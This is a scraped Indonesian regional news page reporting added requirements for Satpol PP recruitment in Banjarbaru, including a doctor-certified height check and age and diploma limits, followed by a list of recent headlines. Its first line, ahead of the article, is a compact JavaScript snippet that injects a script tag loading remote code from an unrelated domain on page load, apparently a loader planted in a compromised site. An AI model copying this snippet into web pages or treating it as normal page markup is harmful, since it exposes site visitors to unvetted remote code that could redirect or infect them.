(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

PENTING. Pelamar Formasi Satpol PP Banjarbaru Ada Ketentuan Tambahan, Ini Persyaratannya!


KANALKALIMANTAN.COM, BANJARBARU – Tingginya minat masyarakat mendaftar formasi Satpol PP Kota Banjarbaru, terdapat penambahan persyaratan surat keterangan khusus.

Melalui akun sosial media Instagram Badan Kepegawaian Pendidikan dan Pelatihan (BKPP) menampilkan sejumlah syarat formasi Satpol PP Kota Banjarbaru.

Untuk melengkapi persyaratan pendaftaran, terdapat pemberitahuan berupa tinggi badan di buktikan dengan surat keterangan dari dokter rumah sakit pemerintah atau puskesmas.

Baca juga: Gangguan Jiwa Meningkat Saat Pandemi, Psikiater RS Ratu Zalecha: Pasien Bisa 46 Orang Sehari!

 

 

Begini syarat formasi Satpol PP Kota Banjarbaru :

1. Lulusan SMA atau sederajat
2. Nilai ijazah minimal 7,00
3. Minimal tinggi badan untuk pria 165 cm
4. Minimal tinggi badan untuk wanita 160 cm 5. Usia minimal 18 tahun maksimal 35 tahun
BKPP menghimbau untuk tinggi badan dibuktikan dengan surat keterangan dari Dokter rumah sakit pemerintah atau puskesmas.

Catatan :

1. Asli surat keterangan di scan menjadi satu dokumen dengan surat lamaran
2. Akan dilakukan pengukuran ulang setelah peserta lulus SK, jika tinggi badan tidak sesuai yang disyaratkan, maka peserta akan didiskualifikasi.

BKPP memberikan penambahan syarat surat keterangan khusus bagi Satpol PP dikarenakan tingginya antusias pendaftar, sebelumnya teknik pengukuran akan dilakukan secara tatap muka.

Akan tetapi karena situasi pandemi belum berakhir, sesuai kesepakatan tim pengukuran secara tatap muka akan dilakukan setelah ujian SKD.

Yang sebelumnya pengukuran ulang tinggi badan peserta akan dilakukan secara langsung sebelum SKD, akan tetapi mengingat tingginya dan antusias kawan-kawan yang ingin mendaftar.

Dan dari daerah yang cukup jauh dari Banjarbaru serta kondisi pandemi sehingga rawan menimbulkan kerumunan, maka pengukuran langsung akan dilakukan setelah peserta lulus SKD.(Kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Risa

Recent Posts

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

9 menit ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

2 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

10 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

11 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

12 jam ago

Wabup Dodo: Hasil Reses DPRD Jadi Acuan Kebijakan

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More

12 jam ago

This website uses cookies.